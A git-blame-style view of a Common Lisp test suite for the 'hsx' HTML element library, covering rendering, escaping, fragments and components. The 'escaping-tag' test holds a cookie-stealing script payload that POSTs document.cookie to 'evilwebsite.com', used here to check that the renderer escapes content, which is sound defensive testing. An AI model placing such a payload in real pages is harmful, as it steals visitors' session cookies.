2024-05-27 07:54:46 +00:00
|
|
|
(defpackage #:hsx-test/element
|
|
|
|
(:use #:cl
|
2024-06-06 05:59:46 +00:00
|
|
|
#:fiveam
|
2024-06-06 05:36:32 +00:00
|
|
|
#:hsx/element)
|
|
|
|
(:import-from #:named-readtables
|
|
|
|
#:in-readtable)
|
|
|
|
(:import-from #:mstrings
|
|
|
|
#:mstring-syntax))
|
2024-05-27 07:54:46 +00:00
|
|
|
(in-package #:hsx-test/element)
|
2024-06-06 05:36:32 +00:00
|
|
|
(in-readtable mstring-syntax)
|
2024-05-25 03:00:39 +00:00
|
|
|
|
2024-05-26 03:26:09 +00:00
|
|
|
(def-suite element-test)
|
|
|
|
(in-suite element-test)
|
|
|
|
|
2024-05-30 03:55:13 +00:00
|
|
|
(test element-class
|
|
|
|
(is (typep (create-element :div nil nil) 'tag))
|
|
|
|
(is (typep (create-element :html nil nil) 'html-tag))
|
2024-06-09 12:03:21 +00:00
|
|
|
(is (typep (create-element :img nil nil) 'self-closing-tag))
|
|
|
|
(is (typep (create-element :style nil nil) 'non-escaping-tag))
|
2024-05-30 03:55:13 +00:00
|
|
|
(is (typep (create-element :<> nil nil) 'fragment))
|
|
|
|
(is (typep (create-element (lambda ()) nil nil) 'component))
|
|
|
|
(signals error (create-element "div" nil nil)))
|
2024-05-26 03:26:09 +00:00
|
|
|
|
|
|
|
(test flatten-children
|
2024-05-28 10:31:50 +00:00
|
|
|
(let* ((elm (create-element :p
|
2024-05-25 10:38:54 +00:00
|
|
|
nil
|
2024-05-30 03:55:13 +00:00
|
|
|
(list "a"
|
|
|
|
nil
|
|
|
|
(list "b" (list nil "c"))
|
|
|
|
(cons "d" "e")))))
|
2024-05-29 02:47:48 +00:00
|
|
|
(is (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
|
2024-05-25 10:38:54 +00:00
|
|
|
|
2024-06-06 05:36:32 +00:00
|
|
|
(test empty-element
|
|
|
|
(is (string= "<div></div>"
|
|
|
|
(render-to-string (create-element :div nil nil)))))
|
|
|
|
|
|
|
|
(test element-with-props
|
|
|
|
(is (string= "<div prop1=\"value1\" prop2></div>"
|
|
|
|
(render-to-string (create-element :div
|
|
|
|
(list :prop1 "value1"
|
|
|
|
:prop2 t
|
|
|
|
:prop3 nil)
|
|
|
|
nil)))))
|
|
|
|
|
|
|
|
(test element-with-children
|
|
|
|
(is (string= "<p>foo</p>"
|
|
|
|
(render-to-string (create-element :p
|
|
|
|
nil
|
|
|
|
(list "foo"))
|
|
|
|
:pretty t)))
|
|
|
|
(is (string= #M"<p>
|
|
|
|
\ <span>foo</span>
|
2024-06-08 04:02:53 +00:00
|
|
|
</p>"
|
2024-06-06 05:36:32 +00:00
|
|
|
(render-to-string (create-element :p
|
|
|
|
nil
|
|
|
|
(list (create-element :span
|
|
|
|
nil
|
|
|
|
(list "foo"))))
|
|
|
|
:pretty t)))
|
|
|
|
(is (string= #M"<p>
|
|
|
|
\ foo
|
|
|
|
\ <span>bar</span>
|
2024-06-08 04:02:53 +00:00
|
|
|
</p>"
|
2024-06-06 05:36:32 +00:00
|
|
|
(render-to-string (create-element :p
|
|
|
|
nil
|
|
|
|
(list "foo"
|
|
|
|
(create-element :span
|
|
|
|
nil
|
|
|
|
(list "bar"))))
|
|
|
|
:pretty t))))
|
|
|
|
|
|
|
|
(test element-with-props-and-children
|
|
|
|
(is (string= "<p prop1=\"value1\" prop2>foo</p>"
|
|
|
|
(render-to-string (create-element :p
|
|
|
|
(list :prop1 "value1"
|
|
|
|
:prop2 t
|
|
|
|
:prop3 nil)
|
|
|
|
(list "foo"))
|
|
|
|
:pretty t)))
|
|
|
|
(is (string= #M"<p prop1=\"value1\" prop2>
|
|
|
|
\ foo
|
|
|
|
\ <span>bar</span>
|
2024-06-08 04:02:53 +00:00
|
|
|
</p>"
|
2024-06-06 05:36:32 +00:00
|
|
|
(render-to-string (create-element :p
|
|
|
|
(list :prop1 "value1"
|
|
|
|
:prop2 t
|
|
|
|
:prop3 nil)
|
|
|
|
(list "foo"
|
|
|
|
(create-element :span
|
|
|
|
nil
|
|
|
|
"bar")))
|
|
|
|
:pretty t))))
|
|
|
|
|
|
|
|
(test self-closing-tag
|
|
|
|
(is (string= "<img src=\"/background.png\">"
|
|
|
|
(render-to-string (create-element :img
|
|
|
|
(list :src "/background.png")
|
|
|
|
nil)
|
|
|
|
:pretty t))))
|
|
|
|
|
|
|
|
(test escaping-tag
|
|
|
|
(is (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
|
|
|
(render-to-string
|
|
|
|
(create-element :div
|
|
|
|
nil
|
|
|
|
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
|
|
|
|
|
|
|
|
(test non-escaping-tag
|
|
|
|
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
|
|
|
(render-to-string
|
|
|
|
(create-element :script
|
|
|
|
nil
|
|
|
|
"alert('<< Do not embed user-generated contents here! >>')")))))
|
|
|
|
|
|
|
|
(test fragment
|
|
|
|
(let ((frg (create-element :<>
|
|
|
|
nil
|
|
|
|
(list (create-element :li
|
|
|
|
nil
|
|
|
|
(list "bar"))
|
|
|
|
(create-element :li
|
|
|
|
nil
|
|
|
|
(list "baz"))))))
|
|
|
|
(is (string= #M"<li>bar</li>
|
|
|
|
<li>baz</li>"
|
|
|
|
(render-to-string frg :pretty t)))
|
|
|
|
(is (string= #M"<ul>
|
|
|
|
\ <li>foo</li>
|
|
|
|
\ <li>bar</li>
|
|
|
|
\ <li>baz</li>
|
|
|
|
\ <li>brah</li>
|
2024-06-08 04:02:53 +00:00
|
|
|
</ul>"
|
2024-06-06 05:36:32 +00:00
|
|
|
(render-to-string (create-element :ul
|
|
|
|
nil
|
|
|
|
(list (create-element :li
|
|
|
|
nil
|
|
|
|
(list "foo"))
|
|
|
|
frg
|
|
|
|
(create-element :li
|
|
|
|
nil
|
|
|
|
(list "brah"))))
|
|
|
|
:pretty t)))))
|
|
|
|
|
2024-05-30 03:55:13 +00:00
|
|
|
(defun comp1 (&key prop children)
|
2024-05-28 10:31:50 +00:00
|
|
|
(create-element :div
|
2024-05-26 03:26:09 +00:00
|
|
|
nil
|
2024-05-30 03:55:13 +00:00
|
|
|
(list prop
|
|
|
|
children)))
|
2024-05-26 03:26:09 +00:00
|
|
|
|
2024-05-28 11:48:39 +00:00
|
|
|
(test component-accepting-keyword-args
|
2024-05-30 03:55:13 +00:00
|
|
|
(let ((elm (expand-component (create-element #'comp1
|
2024-06-06 05:36:32 +00:00
|
|
|
'(:prop "value")
|
|
|
|
(list "child")))))
|
2024-05-30 03:55:13 +00:00
|
|
|
(is (eq :div (element-type elm)))
|
|
|
|
(is (equal (list "value" "child") (element-children elm)))))
|
2024-05-26 03:26:09 +00:00
|
|
|
|
|
|
|
(defun comp2 (&rest props)
|
2024-05-28 10:31:50 +00:00
|
|
|
(create-element :div
|
2024-05-26 03:26:09 +00:00
|
|
|
nil
|
2024-05-30 03:55:13 +00:00
|
|
|
(list (getf props :prop)
|
|
|
|
(getf props :children))))
|
2024-05-26 03:26:09 +00:00
|
|
|
|
2024-05-28 11:48:39 +00:00
|
|
|
(test component-accepting-property-list
|
2024-05-30 03:55:13 +00:00
|
|
|
(let ((elm (expand-component (create-element #'comp2
|
|
|
|
'(:prop "value")
|
|
|
|
(list "child")))))
|
|
|
|
(is (eq :div (element-type elm)))
|
|
|
|
(is (equal (list "value" "child") (element-children elm)))))
|
2024-05-26 03:26:09 +00:00
|
|
|
|
2024-05-30 03:55:13 +00:00
|
|
|
(defun comp3 (&rest props &key prop children &allow-other-keys)
|
2024-05-28 10:31:50 +00:00
|
|
|
(create-element :div
|
2024-05-26 03:26:09 +00:00
|
|
|
nil
|
2024-05-30 03:55:13 +00:00
|
|
|
(list prop
|
|
|
|
children
|
|
|
|
(getf props :other-key))))
|
2024-05-26 03:26:09 +00:00
|
|
|
|
2024-05-28 11:48:39 +00:00
|
|
|
(test component-accepting-keyword-args-and-property-list
|
2024-05-30 03:55:13 +00:00
|
|
|
(let ((elm (expand-component (create-element #'comp3
|
|
|
|
'(:prop "value" :other-key "other")
|
|
|
|
(list "child")))))
|
|
|
|
(is (eq :div (element-type elm)))
|
|
|
|
(is (equal (list "value" "child" "other") (element-children elm)))))
|